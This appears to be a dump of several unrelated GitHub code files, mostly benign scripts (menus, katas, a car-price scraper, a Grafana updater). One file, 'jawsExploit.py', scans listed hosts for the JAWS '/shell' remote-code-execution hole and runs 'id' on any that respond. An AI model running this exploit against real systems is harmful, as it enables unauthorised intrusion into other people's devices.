Quersumme der ersten \" +\r\n                  \"Ziffern der letzten Ziffer entsprechen\" +\r\n                  \"\\nBeispiel: 1282, da 1+2+8=11 und 1+1=2\")\r\n            bound = int(input(\"n = \"))\r\n            \r\n            res = Algorithmen.new_rep_qs(bound)\r\n            print(\"Anzahl: \" + str(res[0]) + \"\\nZahlen:\" + str(res[1]))\r\n            Algorithmen.menu()\r\n            \r\n        elif menu == \"3\":\r\n            print(\"\\nEine zufällig generierte Liste wird mit Bubblesort \" +\r\n                  \"sortiert. Die Laufzeit wird auch angezeigt.\\n\")\r\n            Algorithmen.bubbleSortLaufzeit()\r\n            Algorithmen.menu()\r\n            \r\n        elif menu == \"4\":\r\n            print(\"\\nEs wird geprüft, ob eine zufällige Liste \" +\r\n                  \"Elemente enthält, die sich zu Null addieren.\\n\")\r\n            Algorithmen.init()\r\n            Algorithmen.menu()\r\n            \r\n        elif menu == \"5\":\r\n            print(\"\\nDas Histogramm einer zufälligen Liste wird \" +\r\n                  \"erzeugt.\")\r\n            Algorithmen.histogram()\r\n            Algorithmen.menu()\r\n            \r\n        elif menu == \"6\":\r\n            Algorithmen.initRegEx()\r\n            Algorithmen.menu()\r\n            \r\n        elif menu == \"7\":\r\n            Hauptmenu.menu()\r\n            \r\n        else:\r\n            print(\"Ungültige Eingabe\")\r\n            Algorithmen.menu()\r\n\r\nclass Datenbank:\r\n    \r\n    def init():\r\n        # Verbindung mit der Datenbank\r\n        db = sqlite3.connect(\"chinook.db\")\r\n        cur = db.cursor()\r\n        Datenbank.menu(db, cur)\r\n\r\n    def show(db, cur):\r\n        # Zeigt alle Tabellen der Datenbank an\r\n        print(\"\\nTabellen:\")\r\n        cur.execute(\"SELECT name FROM sqlite_master WHERE type='table';\")\r\n        tables = cur.fetchall()\r\n\r\n        for i in range(len(tables)):\r\n            print(i, tables[i][0])\r\n\r\n    def inspect(db, cur):\r\n        # Die Spaltennamen und sämtliche Inhalte einer Tabelle werden\r\n        # angezeigt.\r\n        try:\r\n            option = str(input(\"Tabelle auswählen: \"))\r\n            cur.execute(\"PRAGMA table_info(\"+option+\");\")\r\n            headers = cur.fetchall()\r\n\r\n            for i in range(len(headers)):\r\n                print(headers[i][1], end=\" | \")\r\n\r\n            cur.execute(\"SELECT * FROM \" + option + \";\")\r\n            content = cur.fetchall()\r\n\r\n            for i in range(len(content)):\r\n                print(\"\")\r\n                for j in range(len(content[i])):\r\n                    print(content[i][j], end=\" | \")\r\n\r\n        except:\r\n            print(\"Tabelle nicht gefunden\\n\")\r\n\r\n    def comm(db, cur):\r\n        # Ein beliebiger sqlite3 Befehl wird ausgeführt\r\n        print(\"Hinweis: Befehl muss in sqlite3 geschrieben werden.\")\r\n        try:\r\n            sql = input(\"Anfrage: \")\r\n            cur.execute(sql)\r\n            content = cur.fetchall()\r\n            print(content)\r\n            db.commit()\r\n\r\n        except:\r\n            print(\"Falscher Befehl.\")\r\n                       \r\n    def menu(db, cur):\r\n        print(\"\\n==== Im Menüpunkt 'Datenbanken' ====\")\r\n        print(\"Menüpunkte:\")\r\n        print(\"1: Tabellen anzeigen\\n2: Tabelleninhalte einsehen\\n3: SQL Anfrage\\n\"+\r\n              \"4: Schliessen\")\r\n\r\n        menu = input(\"Auswahl: \")\r\n            \r\n        if menu == \"1\":\r\n            Datenbank.show(db, cur)\r\n            Datenbank.menu(db, cur)\r\n                        \r\n        elif menu == \"2\":\r\n            Datenbank.inspect(db, cur)\r\n            Datenbank.menu(db, cur)\r\n\r\n        elif menu == \"3\":\r\n            Datenbank.comm(db, cur)\r\n            Datenbank.menu(db, cur)\r\n                \r\n        elif menu == \"4\":\r\n            db.close()\r\n            print(\"Datenbank geschlossen.\\n\")\r\n            Hauptmenu.menu()\r\n            \r\n        else:\r\n            print(\"Keine gültige Eingabe!\\n\")\r\n            Datenbank.menu(db, cur)\r\n\r\nclass Hauptmenu:\r\n\r\n    def menu():\r\n        print(\"\\n==== Hauptmenü ====\")\r\n        print(\"1. Rechner\" + \r\n              \"\\n2. Algorithmen\" + \r\n              \"\\n3. Interaktion mit einer Datenbank\" +\r\n              \"\\n4. Programm beenden\")\r\n        menu = input(\"Punkt auswählen: \")\r\n\r\n        if menu == \"1\":\r\n            Rechner.menu()\r\n\r\n        elif menu == \"2\":\r\n            Algorithmen.menu()\r\n\r\n        elif menu == \"3\":\r\n            Datenbank.init()\r\n            \r\n        elif menu == \"4\":\r\n            print(\"Beendet.\")\r\n\r\n        else:\r\n            print(\"Ungültige Eingabe!\\n\")\r\n            Hauptmenu.menu()\r\n            \r\nHauptmenu.menu()\r\n","repo_name":"czuron/Beispielprogramm","sub_path":"Programm.py","file_name":"Programm.py","file_ext":"py","file_size_in_byte":19534,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"43826389574","text":"# This time no story, no theory. The examples below show you how to write function accum:\r\n\r\n# Examples:\r\n\r\n# accum(\"abcd\") -> \"A-Bb-Ccc-Dddd\"\r\n# accum(\"RqaEzty\") -> \"R-Qq-Aaa-Eeee-Zzzzz-Tttttt-Yyyyyyy\"\r\n# accum(\"cwAt\") -> \"C-Ww-Aaa-Tttt\"\r\n\r\n# The parameter of accum is a string which includes only letters from a..z and A..Z.\r\n\r\n\r\ndef accum(s):\r\n    arr = []\r\n    counter = 1\r\n    for char in s:\r\n        temp_s = ''\r\n        temp_s += char.upper()\r\n        temp_s += (counter - 1) * char.lower()\r\n        arr.append(temp_s)\r\n        counter += 1\r\n    return '-'.join(x for x in arr)\r\n\r\nprint(accum('abcdef'))","repo_name":"joeyemerson/Codewars","sub_path":"python/7kyu_mumbling.py","file_name":"7kyu_mumbling.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"43950274765","text":"# import cv2\n# import os\n# vid_list= os.listdir(r\"C:\\Users\\manis\\PycharmProjects\\pothole_heatmap\\holes\")\n# loc = r\"C:\\Users\\manis\\PycharmProjects\\pothole_heatmap\\holes_resize\"\n# i=1\n# for frame in vid_list:\n#     print(i)\n#     i=i+1\n#     img = cv2.imread(r\"C:\\Users\\manis\\PycharmProjects\\pothole_heatmap\\holes\\%s\"%frame)\n#     img = cv2.resize(img, (3680,2760))\n#     os.chdir(loc)\n#     cv2.imwrite(frame, img)\nimport pandas as pd\nimport numpy as np\ndf= pd.read_csv(\"core_data.csv\")\nprint(df)\nlis = [\"dsx\", \"54\", \"sfr\", \"gdf\"]\nmy_array = np.array(lis)\ndf = df.set_index(\"Image\")\n#df[\"list\"] = []\narr = np.array( [[ 1, 2, 3],[ 4, 2, 5]] )\n\n#df.loc['gps_cams1.mp4_frame1038.jpg','Latitude'] = arr\n\nprint(df)\n\n#df[\"RoIS\"] = lis\n","repo_name":"manish-sin/pothole_heatmap","sub_path":"resize.py","file_name":"resize.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"41804701247","text":"def make_filter(skill, m, n):\n    filters = [[0 for _ in range(m+1)] for _ in range(n+1)]\n        \n    for t, r1, c1, r2, c2, degree in skill:\n        if t == 1:\n            degree *= -1\n\n        filters[r1][c1] += degree\n        filters[r1][c2+1] += degree * -1\n        filters[r2+1][c1] += degree * -1\n        filters[r2+1][c2+1] += degree\n    \n    for i in range(len(filters)):\n        for j in range(1, len(filters[0])):\n            filters[i][j] += filters[i][j-1]\n            \n    for i in range(1, len(filters)):\n        for j in range(len(filters[0])):\n            filters[i][j] += filters[i-1][j]\n    \n    return filters\n    \ndef solution(board, skill):\n    answer = 0\n    filters = make_filter(skill, len(board[0]), len(board))\n    for i in range(len(board)):\n        for j in range(len(board[0])):\n            board[i][j] += filters[i][j]\n            if board[i][j] > 0:\n                answer += 1\n\n    return answer","repo_name":"nh0317/coding-test","sub_path":"프로그래머스/lv3/92344. 파괴되지 않은 건물/파괴되지 않은 건물.py","file_name":"파괴되지 않은 건물.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"20290966261","text":"import urllib.error, urllib.request, os, sys, requests\nfrom host import host\nclass jawsExploit:\n    def jawsRceExploit(self):\n        path = os.path.abspath(os.path.dirname(sys.argv[0]))\n        vulnerable_host = open(path + '/host/up_host.txt', 'r').read().splitlines()\n        a = 0\n        while a < len(vulnerable_host):\n            try:\n                res = vulnerable_host[a]\n                address = host.Host.addressRegex(res)\n                url = \"http://\" + address['ip'] + \":\" + str(address['port']) + \"/shell?echo+'argo-exploit'\"\n                r = requests.get(url)\n                if 'argo-exploit' in r.text and \"'argo-exploit'\" not in r.text:\n                    exploitUrl = url = \"http://\" + address['ip'] + \":\" + str(address['port']) + \"/shell?id\"\n                    rExploit = requests.get(exploitUrl)\n                    if 'uid' in rExploit.text:\n                        print(\"[#] Found shell on \" + url + \" with user \"+ rExploit.text)\n            except:\n                pass\n            a += 1\n","repo_name":"M0tHs3C/Argo","sub_path":"exploit/jawsExploit.py","file_name":"jawsExploit.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"19"}
{"seq_id":"17922821989","text":"import requests\nfrom bs4 import BeautifulSoup\n\nprint(\"Morse Code Encoder\")\nprint(\"initialising..\")\n\nURL = \"https://morsecode.scphillips.com/morse2.html\"\nRESPONSE = requests.get(URL)\nSOUP = BeautifulSoup(RESPONSE.text, \"html.parser\")\nTABLES = SOUP.findAll('table')\n\nmorse_key = {}\ncount = 0\nfor table in TABLES:\n    count += 1\n    for row in table:\n        if count > 5:\n            break\n        try:\n            letter = row.find('td').get_text()\n            morse = row.find('td').find_next('td').get_text()\n            if len(letter) > 1:\n                letter = letter.strip(\" \")[0]\n            \n            morse_key[letter] = morse\n        except:\n            pass\n\n\nwhile True:\n    message = input(\"\\nWhat is your message? \")\n    encoded = []\n    for char in message:\n        if char == \" \":\n            encoded.append(\"  \")\n        else:\n            encoded.append(morse_key[char.upper()])\n            encoded.append(\" \")\n\n    print(\"\".join(encoded))\n    \n    stop = input(\"Would you like to encode another message? (y/n): \")\n\n    if stop[0].lower() == \"n\":\n        print(\"\\n**END OF PROGRAM**\")\n        break","repo_name":"brandanmcdevitt/morse.code.encoder","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"70572492204","text":"#Loading all libraries\nimport pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nimport time\nimport random\nfrom IPython.display import clear_output\nimport string\nimport numpy as np\nfrom sklearn.preprocessing import StandardScaler\nfrom tabulate import tabulate\nimport re\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\n# Collecting variable from user\n#make = 'Audi'\ndef main_block_user_data():\n    print(\"Hi there, please specify the parameters of your car \\nand we will make the price prediction based on real market data in Finland\\n\")\n    make = input ('Car Manufacture (ex.: Audi, Toyota):')\n    make = ''.join (re.split (r'\\W+',make)[0]).title()\n    #clear_output()\n    #model = 'q15'\n    \n    model = input ('Car Model:')\n    model = '-'.join (re.split (r'\\W+',model)).title()\n    #clear_output()\n    #year = 2015\n    print('Car year')\n    year = str(1)\n    while (not year.isdigit() or int(year)<1900 or int(year)>2030):\n        #clear_output()\n        #print('Car year')\n        year = input ('write year between 1900 and 2030:')\n    #clear_output()\n    #gear_box = ['Automatti','Manuaali']\n    \n    print (\"Car Mileage (km)\")\n    mileage = 'f'\n    while not mileage.isdigit():\n        #clear_output()\n        #print (\"Car Mileage (km)\")\n        mileage = input('Write mileage as a whole number in km (ex.:250200)')\n    \n    print (\"Engine size\")\n    eng_size = 'h'\n    while re.match(r'^-?\\d+(?:\\.\\d+)?$', eng_size) is None:\n        #clear_output()\n        #print (\"Engine size\")\n        eng_size = input ('Write in decimals(ex.: 1.2, 2.0...)')\n    eng_size = round(float(eng_size),1)\n   \n    gear_box = None\n    print('Gear box')\n    while gear_box not in ['1','2']:\n        #clear_output()\n        #print('Gear box')\n        gear_box = input (' Write 1 or 2:\\n 1.Automatti \\n 2.Manuaali')  \n    gear_box = ['Automatti','Manuaali'][int(gear_box)-1]\n    #clear_output()\n    #fuel = ['Bensiini', 'Deiesel','Hybridi', 'Sähkö', 'Kaasu', 'E85/bensiini']\n    \n    fuel =None\n    print(\"Fuel Type\")\n    while fuel not in list('123456'):\n        #clear_output()\n        #print(\"Fuel Type\")\n        fuel  = input(\" Write Number from 1 to 6:\\n 1.Bensiini \\n 2.Diesel\\n 3.Hybridi\\n 4.Sähkö\\n 5.Kaasu\\n 6.E85/bensiini\")\n    fuel = ['Bensiini', 'Diesel','Hybridi', 'Sähkö', 'Kaasu', 'E85/bensiini'][int(fuel)-1]\n    clear_output()\n    request_info = f'Your request: \\n Make: {make} \\n Model: {model} \\n Year: {year} \\n Mileage: {mileage} km \\n Engine size: {eng_size} \\n Gear Box: {gear_box} \\n Fuel Type: {fuel}'\n    print(request_info)\n    return request_info,make,model,year,mileage,gear_box,fuel,eng_size;\n\n\ndef user_data_collector():\n    request_info,make,model,year,mileage,gear_box,fuel,eng_size = main_block_user_data()\n    print('\\nDo you want to make changes to your request?')\n    repeat = 'h'\n    while repeat.lower() not in ['yes', 'no']:\n        #print('Do you want to make changes to your request?')\n        repeat =input ('Please write \"yes\" or \"no\"')\n    while repeat == 'yes':\n        clear_output()\n        request_info,make,model,year,mileage,gear_box,fuel,eng_size = main_block_user_data()\n        repeat = 'h'\n        print('\\nDo you want to make changes to your request?')\n        while repeat.lower() not in ['yes', 'no']:\n            repeat =input ('Please write \"yes\" or \"no\"')\n        #for name in [request_info,make,model,year,mileage,gear_box,fuel,eng_size]:\n        #    del globals()[name]\n                \n    if repeat == 'no':\n        #clear_output()\n        print(\"\\nAlrigth, then we will estimate the price based on your car specifications\")\n        return request_info,make,model,year,mileage,gear_box,fuel,eng_size;\n\n\n# form a link\ndef link_form (make,model,year):\n    year_from = str(int(year)-2)\n    year_to = str(int(year)+2)\n    link = 'https://www.nettiauto.com/'+make+'/'+model+'/?yfrom='+year_from+'&yto='+year_to+'&id_country[]=73'\n    return link\n\n\ndef alert_check(link):\n    #link = link_form()\n    page = requests.get(link)\n    soup = BeautifulSoup(page.text, 'html.parser')\n    if len(soup.find_all('div', id='msg'))>0 or soup.find_all('h1')[0].text == 'Hups, sivua ei löytynyt':\n        alert = 1\n    else:\n        alert = 0\n    return alert\n\n\ndef user_request_processing():\n    request_info,make,model,year,mileage,gear_box,fuel,eng_size =user_data_collector()\n    link = link_form(make,model,year)\n    alert = alert_check(link)\n    while alert==1:\n        print(\"Sorry, we could not find any data based on your request\\n\")\n        print(request_info)\n        print(\"\\nPlease make sure there is no spelling errors\")\n        print(\"\\nWould you like to make a new request or exit from session?\")\n        answer = None\n        while answer not in ('1','2'):\n            print(\"Would you like to make a new request or exit from session?\")\n            answer = input(\"\\n1.Make new request \\n2. Exit from session\")\n        if answer == '1':\n            clear_output()\n            request_info,make,model,year,mileage,gear_box,fuel,eng_size =user_data_collector()\n            link = link_form(make,model,year)\n            alert = alert_check(link)\n        if answer == '2':\n            print('Alrigth, come back next time.')\n            break\n    if alert==0:\n        print('\\nWe found the data based on your request, so now please chill and relax, soon we will get back with estimated price.')\n        return request_info,make,model,year,mileage,gear_box,fuel,eng_size, link;\n\n\n# code for scraping \ndef scrapper(link,make,model,year,mileage,eng_size,gear_box,fuel):\n#link = 'https://www.nettiauto.com/toyota/corolla?id_country[]=73&page=1'\n    sleep_period = 4\n    page = requests.get(link)\n    soup = BeautifulSoup(page.text, 'html.parser')\n    try:\n        last_page_to_scrap = int(soup.find_all(class_=\"pageNavigation dot_block\")[-1].text)\n    except IndexError:\n        try:\n            last_page_to_scrap = int(soup.find_all(class_=\"pageNavigation\")[-2].text)\n        except:\n            last_page_to_scrap =1\n\n    #lists \n    car_id_ls = []\n    make_ls = []\n    mileage_ls = []\n    model_ls = []\n    year_ls = []\n    car_type_ls = []\n    price_ls = []\n    eng_size_ls = []\n    gear_box_ls = []\n    fuel_ls = []\n    loc_town_ls=[]\n    link_ls = []\n\n\n    for i in range(1,last_page_to_scrap+1):\n        #link = 'https://www.nettiauto.com/toyota/corolla?id_country[]=73&page='+str(i)\n        link = link+'&page='+str(i)\n        page = requests.get(link)\n        soup = BeautifulSoup(page.text, 'html.parser')\n        blocks = soup.find_all(class_= re.compile(\"^listingVifUrl\"))\n        for block in blocks:\n            bl1_part = block.find(class_= re.compile(\"^childVifUrl\"))\n            keys = list(bl1_part.attrs.keys())\n\n            car_id_ls.append(bl1_part['data-id'] if 'data-id' in keys else None)\n            make_ls.append(bl1_part['data-make'] if 'data-make' in keys else None)\n            mileage_ls.append(bl1_part['data-mileage'] if 'data-mileage' in keys else None)\n            model_ls.append(bl1_part['data-model'] if 'data-model' in keys else None)\n            year_ls.append(bl1_part['data-year'] if 'data-year' in keys else None)\n            car_type_ls.append(bl1_part['data-vtype'] if 'data-vtype' in keys else None)\n            price_ls.append(bl1_part['data-price'] if 'data-price' in keys else None)\n            link_ls.append(bl1_part['href'] if 'href' in keys else None)\n\n            eng_size_ls.append(float(re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\", block.find(class_=\"eng_size\").text)[0]) if len(block.find(class_=\"eng_size\").text)>0 else None)\n            loc_town_ls.append(block.find('b', class_=\"gray_text\").text.translate(str.maketrans('', '', string.punctuation+' '+'›')).replace('\\n','') if len(block.find('b', class_=\"gray_text\").text)>0 else None)\n            gear_and_fuel_block = block.find('div', class_=re.compile('^vehicle_other_info clearfix_nett')).ul.find_all('li')\n            fuel_ls.append(gear_and_fuel_block[2].text if len(gear_and_fuel_block)>=4 else None)\n            gear_box_ls.append(gear_and_fuel_block[3].text if len(gear_and_fuel_block)>=4 else None)\n            clear_output()\n            print(\"Cars' data loaded:\", len(car_id_ls))\n            print('Pages loaded:', i)\n            print('Pages left:', (last_page_to_scrap)-i)\n        if i % sleep_period ==0:\n            time.sleep(random.randint(1,2))\n            sleep_period = random.randint(2,6)\n#     df_scraped = pd.DataFrame({'car_id':car_id_ls,'make':make_ls,'model': model_ls, 'milage':mileage_ls\n#                        ,'year':year_ls, 'car_type':car_type_ls, 'price':price_ls, 'eng_size':eng_size_ls,\n#                       'gear_box': gear_box_ls,'fuel': fuel_ls, 'loc_town':loc_town_ls,'link': link_ls})\n#     df_scraped = df_scraped.fillna(method = 'bfill')\n#     df_scraped['eng_size'] = df_scraped['eng_size'].astype(float)\n#     df_scraped = df_scraped.dropna(axis= 0, how = 'any')\n#     df_scraped = df_scraped[df_scraped['price'] >0]\n    #df_scraped.to_csv(f'{make}_{model}_{year}_{eng_size}_{mileage}_{gear_box}_{fuel}_table.csv', index = False)\n    print('Data loading has completed')\n    return car_id_ls,make_ls,model_ls,mileage_ls,year_ls,car_type_ls,price_ls,eng_size_ls,gear_box_ls,fuel_ls,loc_town_ls,link_ls\n\n\n\ndef df_creation (car_id_ls,make_ls,model_ls,mileage_ls,year_ls,car_type_ls,price_ls,eng_size_ls,gear_box_ls,fuel_ls,loc_town_ls,link_ls):\n    df_scraped = pd.DataFrame({'car_id':car_id_ls,'make':make_ls,'model': model_ls, 'milage':mileage_ls\n                       ,'year':year_ls, 'car_type':car_type_ls, 'price':price_ls, 'eng_size':eng_size_ls,\n                      'gear_box': gear_box_ls,'fuel': fuel_ls, 'loc_town':loc_town_ls,'link': link_ls})\n    df_scraped = df_scraped.fillna(method = 'bfill')\n    df_scraped['eng_size'] = df_scraped['eng_size'].astype(float)\n    df_scraped = df_scraped.dropna(axis= 0, how = 'any')\n    df_scraped['price'] = df_scraped['price'].astype(int)#.apply(lambda x: int(x) if x is not None else x)\n    df_scraped = df_scraped[df_scraped['price'] >0]\n    #df_scraped.to_csv(f'{make}_{model}_{year}_{eng_size}_{mileage}_{gear_box}_{fuel}_table.csv', index = False)\n    print('Data Frame created')\n    return df_scraped\n\n\n\ndef creat_ML_dfs (df_scraped,mileage,year,eng_size,gear_box,fuel):\n    df_scraped_for_ml = df_scraped[['milage', 'year','eng_size','gear_box','fuel', 'price']]\n    df_user = pd.DataFrame({'milage': mileage, 'year': year, 'eng_size': eng_size, 'gear_box': gear_box, 'fuel': fuel, 'price':None }, index = [0])\n    df_ml_user_data_in = df_scraped_for_ml.append(df_user, ignore_index = True )\n    \n    \n    df_ml_user_data_in['milage']= df_ml_user_data_in['milage'].astype(int)\n    df_ml_user_data_in['year']= df_ml_user_data_in['year'].astype(int)\n    #Encoding categorical variables\n    df_ml_user_data_in['gear_box_num'] = df_ml_user_data_in.gear_box.astype('category').cat.codes\n    df_ml_user_data_in['fuel_num'] = df_ml_user_data_in.fuel.astype('category').cat.codes\n    return df_ml_user_data_in\n\n\n\ndef train_and_test_split_scale(df_ml_user_data_in):\n    from sklearn.preprocessing import StandardScaler\n    # transforming outliers to mean\n    df_out = df_ml_user_data_in[df_ml_user_data_in.columns]\n    #df_out['price'] = df_out['price'].apply(lambda x: int(x) if x is not None else x)\n    func = lambda x : np.where(x == x.max(), x.mean(), x)\n    df_out['price'] = df_out.groupby('year')['price'].transform(func)\n    #df_out['price'] = df_out.groupby('year')['price'].transform(func)\n    #df_out['price'] = df_out.groupby('year')['price'].transform(func)\n    \n    X = df_out.iloc[:-1,:][['milage', 'year', 'eng_size','gear_box_num', 'fuel_num']]\n    y = df_out.iloc[:-1,:][['price']]\n    \n    #for kNeighbours\n    X_train_knn = df_ml_user_data_in.iloc[:-1,:][['milage', 'year', 'eng_size','gear_box_num', 'fuel_num','price']]\n\n    X_predict_not_transformed = df_ml_user_data_in.iloc[-1,:][['milage', 'year', 'eng_size','gear_box_num', 'fuel_num']].tolist()\n\n    #Scaling\n        #for GradientBoostingRegressor\n    sc = StandardScaler().fit(X)\n    #X_train = sc.transform(X_train)\n    #y_train = sc.transform(y_train)\n    X_predict = sc.transform([X_predict_not_transformed])\n            #for knn\n    sc = StandardScaler().fit(X_train_knn)\n    X_train_knn = sc.transform(X_train_knn)\n    return X, y, X_predict, X_train_knn,X_predict_not_transformed, sc;\n\ndef Prediction_ML(X, y, X_predict):\n    from sklearn import metrics\n    from sklearn.preprocessing import StandardScaler\n    from sklearn.model_selection import train_test_split\n    X_train, X_test, y_train, y_test = train_test_split(X,y, test_size  =0.1)\n    sc = StandardScaler().fit(X_train)\n    X_train = sc.transform(X_train)\n    X_test = sc.transform(X_test)\n\n    from sklearn.neighbors import KNeighborsRegressor\n    import warnings\n    from math import sqrt\n    warnings.warn('my warning')\n    error_rate = []\n    # Will take some time\n    for i in range(1,40):\n        knn = KNeighborsRegressor(n_neighbors=i)\n        knn.fit(X_train,y_train)\n        pred_i = knn.predict(X_test)\n        error_rate.append(sqrt(metrics.mean_squared_error(y_test, pred_i)))\n    optimal_k = error_rate.index(min(error_rate))+1\n    # Make predictions with best k\n    sc = StandardScaler().fit(X)\n    X_scaled = sc.transform(X)\n\n    knn = KNeighborsRegressor(n_neighbors=optimal_k, weights = 'uniform')\n    knn.fit(X_scaled,y)\n    predict_value = knn.predict(X_predict)[0][0]\n    predict_value = int(round(predict_value))\n    predict_value = (predict_value-100)//100*100+100\n    return predict_value\n\n\ndef most_similar_ads(X_train_knn, X_predict_not_transformed,predict_value,sc):\n    from sklearn.neighbors import NearestNeighbors\n    value_to_predict = [X_predict_not_transformed +[predict_value]]\n    value_to_predict_scaled = sc.transform(value_to_predict)\n    neigh = NearestNeighbors(n_neighbors=5)\n    neigh.fit(X_train_knn)\n    neigh_indexes = neigh.kneighbors(value_to_predict_scaled,return_distance=False)[0]\n    return neigh_indexes\n\n\n\ndef output (df_scraped,predict_value,request_info,neigh_indexes):\n    from tabulate import tabulate\n    output_df = df_scraped.iloc[:-1,1:].loc[neigh_indexes.tolist(),:].reset_index(drop = True)\n    print('Estimated price for your car:',predict_value,'€\\n' )\n    print(request_info,'\\n\\n')\n    print('Simillar cars to your request\\n')\n    print(tabulate(output_df,headers='keys', showindex = 'not'))\n\n\ndef main_script():\n    # collecting user data\n    request_info,make,model,year,mileage,gear_box,fuel,eng_size, link = user_request_processing()\n    # scrapping \n    car_id_ls,make_ls,model_ls,mileage_ls,year_ls,car_type_ls,price_ls,eng_size_ls,gear_box_ls,fuel_ls,loc_town_ls,link_ls = scrapper(link,make,model,year,mileage,eng_size,gear_box,fuel)\n    # Creating df\n    df_scraped = df_creation (car_id_ls,make_ls,model_ls,mileage_ls,year_ls,car_type_ls,price_ls,eng_size_ls,gear_box_ls,fuel_ls,loc_town_ls,link_ls)\n    # creating ml df\n    df_ml_user_data_in = creat_ML_dfs (df_scraped,mileage,year,eng_size,gear_box,fuel)\n    #data split for ml\n    X, y, X_predict, X_train_knn,X_predict_not_transformed, sc = train_and_test_split_scale(df_ml_user_data_in)\n    #Knn alg approach\n    predict_value = Prediction_ML(X, y, X_predict)\n    # finding neighbors index numbers\n    neigh_indexes = most_similar_ads(X_train_knn, X_predict_not_transformed,predict_value,sc)\n    # Creating the report\n    output (df_scraped,predict_value,request_info,neigh_indexes)\n\n# Final question exit or make new request\ndef car_pricer():\n    main_script()\n    end_response = None\n    print('Would you like to make another request?')\n    while end_response not in ('1','2'):\n        #print('Would you like to make another request?')\n        end_response = input('Plese write 1 or 2 \\n1.No, exit the program \\n2.Yes,please')\n    while end_response == '2':\n        clear_output()\n        main_script()\n        end_response = None\n        print('\\n\\n\\nWould you like to make another request?')\n        while end_response not in ('1','2'):\n            #print('Would you like to make another request?')\n            end_response = input('\\nPlese write 1 or 2 \\n1.No, exit the program \\n2.Yes,please')\n        if end_response == '1':\n            #clear_output()\n            print('\\nAlrigth, see you next time.')\n            break  ","repo_name":"datamany/portfolio","sub_path":"python/Finnish Car Price Predictor/FinCarPricer.py","file_name":"FinCarPricer.py","file_ext":"py","file_size_in_byte":16333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"42101529294","text":"\"\"\"\nEach cluster deployed should have a Grafana and Prometheus instance running via\nthe support chart, but the 2i2c cluster's Grafana instance is special, and we\nrefer it as the central Grafana instance at https://grafana.pilot.2i2c.cloud.\n\nThis code provides the deployer's update-central-grafana-datasources command,\nthat ensures that the central grafana instance is able to access datasources the\nother clusters.\n\"\"\"\n\nimport json\n\nimport requests\nimport typer\nfrom ruamel.yaml import YAML\n\nfrom ..cli_app import app\nfrom ..helm_upgrade_decision import get_all_cluster_yaml_files\nfrom ..utils import print_colour\nfrom .grafana_utils import (\n    get_cluster_prometheus_address,\n    get_cluster_prometheus_creds,\n    get_grafana_token,\n    get_grafana_url,\n)\n\nyaml = YAML(typ=\"safe\")\n\n\ndef build_datasource_details(cluster_name):\n    \"\"\"\n    Build the payload needed to create an authenticated datasource in Grafana for `cluster_name`.\n\n    Args:\n        cluster_name: name of the cluster\n    Returns:\n        dict object: req payload to be consumed by Grafana\n    \"\"\"\n    # Get the prometheus address for cluster_name\n    datasource_url = get_cluster_prometheus_address(cluster_name)\n\n    # Get the credentials of this prometheus instance\n    prometheus_creds = get_cluster_prometheus_creds(cluster_name)\n\n    datasource_details = {\n        \"name\": cluster_name,\n        \"type\": \"prometheus\",\n        \"access\": \"proxy\",\n        \"url\": f\"https://{datasource_url}\",\n        \"basicAuth\": True,\n        \"basicAuthUser\": prometheus_creds[\"username\"],\n        \"secureJsonData\": {\"basicAuthPassword\": prometheus_creds[\"password\"]},\n    }\n\n    return datasource_details\n\n\ndef build_datasource_request_headers(cluster_name):\n    \"\"\"\n    Build the headers needed to send requests to the Grafana datasource endpoint.\n\n    Returns:\n        dict: \"Accept\", \"Content-Type\", \"Authorization\" headers\n    \"\"\"\n    token = get_grafana_token(cluster_name)\n\n    headers = {\n        \"Accept\": \"application/json\",\n        \"Content-Type\": \"application/json\",\n        \"Authorization\": f\"Bearer {token}\",\n    }\n\n    return headers\n\n\ndef get_clusters_used_as_datasources(cluster_name, datasource_endpoint):\n    \"\"\"\n    Get the list of cluster names that have prometheus instances\n    already defined as datasources of the central Grafana.\n\n    Returns:\n        list: the name of the clusters registered as central Grafana datasources\n    \"\"\"\n    headers = build_datasource_request_headers(cluster_name)\n\n    # Get the list of all the currently existing datasources\n    response = requests.get(datasource_endpoint, headers=headers)\n\n    if not response.ok:\n        print(\n            f\"An error occured when retrieving the datasources from {datasource_endpoint}.\\n\"\n            f\"Error was {response.text}.\"\n        )\n        response.raise_for_status()\n    datasources = response.json()\n\n    return [datasource[\"name\"] for datasource in datasources]\n\n\n@app.command()\ndef update_central_grafana_datasources(\n    central_grafana_cluster=typer.Argument(\n        \"2i2c\", help=\"Name of cluster where the central grafana lives\"\n    )\n):\n    \"\"\"\n    Update the central grafana with datasources for all clusters prometheus instances\n    \"\"\"\n    grafana_url = get_grafana_url(central_grafana_cluster)\n    datasource_endpoint = f\"{grafana_url}/api/datasources\"\n\n    # Get a list of the clusters that already have their prometheus instances used as datasources\n    datasources = get_clusters_used_as_datasources(\n        central_grafana_cluster, datasource_endpoint\n    )\n\n    # Get a list of filepaths to all cluster.yaml files in the repo\n    cluster_files = get_all_cluster_yaml_files()\n\n    print(\"Searching for clusters that aren't Grafana datasources...\")\n    # Count how many clusters we can't add as datasources for logging\n    exceptions = 0\n    for cluster_file in cluster_files:\n        # Read in the cluster.yaml file\n        with open(cluster_file) as f:\n            cluster_config = yaml.load(f)\n\n        # Get the cluster's name\n        cluster_name = cluster_config.get(\"name\", {})\n        if cluster_name and cluster_name not in datasources:\n            print(f\"Found {cluster_name} cluster. Checking if it can be added...\")\n            # Build the datasource details 